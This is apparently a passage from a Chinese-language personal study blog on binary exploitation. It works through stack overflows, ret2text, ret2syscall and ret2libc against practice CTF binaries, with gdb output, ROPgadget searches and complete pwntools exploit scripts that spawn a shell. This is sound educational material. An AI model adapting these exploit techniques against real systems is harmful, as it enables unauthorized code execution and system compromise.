                                           |     saved ebp   |
                                    ebp--->+-----------------+
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                              s,ebp-0x14-->+-----------------+

也可以通过gdb确定偏移量

Pwn学习随笔

并且,我们可以通过 IDA 获得 success 的地址,其地址为 0x080491B6。

Pwn学习随笔

那么如果我们读取的字符串为

0x14*'a'+'bbbb'+success_addr

那么,由于 gets 会读到回车才算结束,所以我们可以直接读取所有的字符串,并且将 saved ebp 覆盖为 bbbb,将 retaddr 覆盖为 success_addr,即,此时的栈结构为

                                           +-----------------+
                                           |    0x080491B6   |
                                           +-----------------+
                                           |       bbbb      |
                                    ebp--->+-----------------+
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                              s,ebp-0x14-->+-----------------+

但是需要注意的是,由于在计算机内存中,每个值都是按照字节存储的。一般情况下都是采用小端存储,即 0x0804843B 在内存中的形式是\xb6\x91\x04\x08

但是,我们又不能直接在终端将这些字符给输入进去,在终端输入的时候 \,x 等也算一个单独的字符。。所以我们需要想办法将 \x3b 作为一个字符输入进去。那么此时我们就需要使用一波 pwntools (进行打包)了

##coding=utf8
from pwn import *
## 构造与程序交互的对象
sh = process('./stack1')
success_addr = 0x080491b6
## 构造payload
payload = b'a'*0x18 + p32(success_addr)
print(p32(success_addr))
## 向程序发送字符串
sh.sendline(payload)
## 将代码交互转换为手工交互
sh.interactive()

Pwn学习随笔

可以看到我们确实已经执行 success 函数。

基本步骤

寻找危险函数

通过寻找危险函数,我们快速确定程序是否可能有栈溢出,以及有的话,栈溢出的位置在哪里。常见的危险函数如下

  • 输入

    • gets,直接读取一行,忽略'\x00'
    • scanf
    • vscanf
  • 输出
    • sprintf
  • 字符串
    • strcpy,字符串复制,遇到'\x00'停止
    • strcat,字符串拼接,遇到'\x00'停止
    • bcopy

确定填充长度

这一部分主要是计算我们所要操作的地址与我们所要覆盖的地址的距离。常见的操作方法就是打开 IDA,根据其给定的地址计算偏移。一般变量会有以下几种索引模式

  • 相对于栈基地址的的索引,可以直接通过查看 EBP 相对偏移获得
  • 相对应栈顶指针的索引,一般需要进行调试,之后还是会转换到第一种类型。
  • 直接地址索引,就相当于直接给定了地址。

一般来说,我们会有如下的覆盖需求

  • 覆盖函数返回地址,这时候就是直接看 EBP 即可。
  • 覆盖栈上某个变量的内容,这时候就需要更加精细的计算了。
  • 覆盖 bss 段某个变量的内容
  • 根据现实执行情况,覆盖特定的变量或地址的内容。

之所以我们想要覆盖某个地址,是因为我们想通过覆盖地址的方法来直接或者间接地控制程序执行流程

基本ROP

随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护,目前主要的是 ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段( gadgets )来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。

ROP 攻击一般得满足如下条件

  • 程序存在溢出,并且可以控制返回地址。
  • 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。

如果 gadgets 每次的地址是不固定的,那我们就需要想办法动态获取对应的地址了。

ret2text

ret2text 即控制程序执行程序本身已有的的代码(.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码(也就是 gadgets),这就是我们所要说的ROP。

返回system("/bin/sh")这样的危险函数的地址

这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。

例子

首先,查看一下程序的保护机制

➜  ret2text checksec ret2text
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

可以看出程序是 32 位程序,其仅仅开启了栈不可执行保护。然后,我们使用 IDA 来查看源代码。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("There is something amazing here, do you know anything?");
  gets((char *)&v4);
  printf("Maybe I will tell you next time !");
  return 0;
}

在 secure 函数又发现了存在调用 system("/bin/sh") 的代码,那么如果我们直接控制程序返回至 0x0804863A,那么就可以得到系统的 shell 了。

下面就是我们如何构造 payload 了,首先需要确定的是我们能够控制的内存的起始地址距离 main 函数的返回地址的字节数。

.text:080486A7                 lea     eax, [esp+1Ch]
.text:080486AB                 mov     [esp], eax      ; s  这其实就是 push eax 的一个同义写法  可以起到混淆作用
.text:080486AE                 call    _gets   ; 调用 gets 函数  参数 即 变量v4的地址 为 esp + 0x1c

可以看到该字符串是通过相对于 esp 的索引,所以我们需要进行调试,需要找出其相对于ebp的索引,将断点下在 call 处,查看 esp,ebp,如下

gef➤  b *0x080486AE
Breakpoint 1 at 0x80486ae: file ret2text.c, line 24.
gef➤  r
There is something amazing here, do you know anything?

Breakpoint 1, 0x080486ae in main () at ret2text.c:24
24      gets(buf);
───────────────────────────────────────────────────────────────────────[ registers ]────
$eax   : 0xffffcd5c  →  0x08048329  →  "__libc_start_main"
$ebx   : 0x00000000
$ecx   : 0xffffffff
$edx   : 0xf7faf870  →  0x00000000
$esp   : 0xffffcd40  →  0xffffcd5c  →  0x08048329  →  "__libc_start_main"
$ebp   : 0xffffcdc8  →  0x00000000
$esi   : 0xf7fae000  →  0x001b1db0
$edi   : 0xf7fae000  →  0x001b1db0
$eip   : 0x080486ae  →  <main+102> call 0x8048460 <gets@plt>

可以看到 esp 为 0xffffcd40,ebp 为 0xffffcdc8,同时 s 相对于 esp 的索引为 esp+0x1c,因此,我们可以推断

  • s 的地址为 0xffffcd5c
  • s 相对于 ebp 的偏移为 0x6c
  • s 相对于返回地址的偏移为 0x6c+4

最后的 payload 如下:

##!/usr/bin/env python
from pwn import *

sh = process('./ret2text')
target = 0x804863a
sh.sendline('A' * (0x6c+4) + p32(target))
sh.interactive()

ret2shellcode

ret2shellcode,即控制程序执行 shellcode代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码

在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。

ret2syscall

ret2syscall,即控制程序执行系统调用,获取 shell。[system调用号表格](https://blog.csdn.net/SUKI547/article/details/103315487?ops_request_misc=&request_id=&biz_id=102&utm_term=linux 系统调用表64位&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduweb~default-0-.first_rank_v2_pc_rank_v29&spm=1018.2226.3001.4187)

例子

首先检测程序开启的保护

➜  ret2syscall checksec rop
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

可以看出,源程序为 32 位,开启了 NX 保护。接下来利用 IDA 来查看源码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("This time, no system() and NO SHELLCODE!!!");
  puts("What do you plan to do?");
  gets(&v4);
  return 0;
}

可以看出此次仍然是一个栈溢出。类似于之前的做法,我们可以获得 v4 相对于 ebp 的偏移为 108。所以我们需要覆盖的返回地址相对于 v4 的偏移为 112。此次,由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,所以我们利用程序中的 gadgets 来获得 shell,而对应的 shell 获取则是利用系统调用。

简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell

execve("/bin/sh",NULL,NULL)

其中,该程序是 32 位,所以我们需要使得

  • 系统调用号,即 eax 应该为 0xb
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0

而我们如何控制这些寄存器的值 呢?这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets的方法,我们可以使用 ropgadgets 这个工具。

首先,我们来寻找控制 eax 的gadgets

➜  ret2syscall ROPgadget --binary rop  --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

可以看到有上述几个都可以控制 eax,我选取第二个来作为 gadgets。类似的,我们可以得到控制其它寄存器的 gadgets

此外,我们需要获得 /bin/sh 字符串对应的地址。

➜  ret2syscall ROPgadget --binary rop  --string '/bin/sh'
Strings information
============================================================
0x080be408 : /bin/sh

可以找到对应的地址,此外,还有 int 0x80 的地址,如下

➜  ret2syscall ROPgadget --binary rop  --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80
0x080938fe : int 0xbb
0x080869b5 : int 0xf6
0x0807b4d4 : int 0xfc

Unique gadgets found: 4

同时,也找到对应的地址了。下面就是对应的 payload,其中 0xb 为 execve 对应的系统调用号。

#!/usr/bin/env python
from pwn import *

sh = process('./rop')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
    ['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
#分别对应: 栈溢出大小(覆盖栈帧),返回地址eax寄存器的弹出,eax参数即execve调用号,返回地址多个寄存器弹出,edx参数,ecx参数,ebx参数binsh,返回地址 int80
sh.sendline(payload)
sh.interactive()

ret2libc

ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置(即函数对应的 got表项的内容)。一般情况下,我们会选择执行 system("/bin/sh"),故而此时我们需要知道 system 函数的地址。

简单例题

首先,我们可以检查一下程序的安全保护

➜  ret2libc1 checksec ret2libc1
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

源程序为 32 位,开启了 NX 保护。下面来看一下程序源代码,确定漏洞位置

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("RET2LIBC >_<");
  gets((char *)&v4);
  return 0;
}

可以看到在执行 gets 函数的时候出现了栈溢出。此外,利用 ropgadget,我们可以查看是否有 /bin/sh 存在

➜  ret2libc1 ROPgadget --binary ret2libc1 --string '/bin/sh'
Strings information
============================================================
0x08048720 : /bin/sh

确实存在,再次查找一下是否有 system 函数存在。经在 ida 中查找,确实也存在。

.plt:08048460 ; [00000006 BYTES: COLLAPSED FUNCTION _system. PRESS CTRL-NUMPAD+ TO EXPAND]

那么,我们直接返回该处,即执行 system 函数。相应的 payload 如下

#!/usr/bin/env python
from pwn import *

sh = process('./ret2libc1')

binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)

sh.interactive()

这里我们需要注意函数调用栈的结构,如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以 'bbbb' 作为虚假的地址,其后参数对应的参数内容。

格式化字符串

标签:

留言评论

  • 这篇文章还没有收到评论,赶紧来抢沙发吧~
函数 基本介绍
printf 输出到 stdout
fprintf 输出到指定 FILE 流
vprintf 根据参数列表格式化输出到 stdout
vfprintf 根据参数列表格式化输出到指定 FILE 流
sprintf 输出到字符串
snprintf 输出指定字节数到字符串
vsprintf 根据参数列表格式化输出到字符串
vsnprintf 根据参数列表格式化输出指定字节到字符串
setproctitle 设置 argv
syslog 输出日志
err, verr, warn, vwarn 等 。。。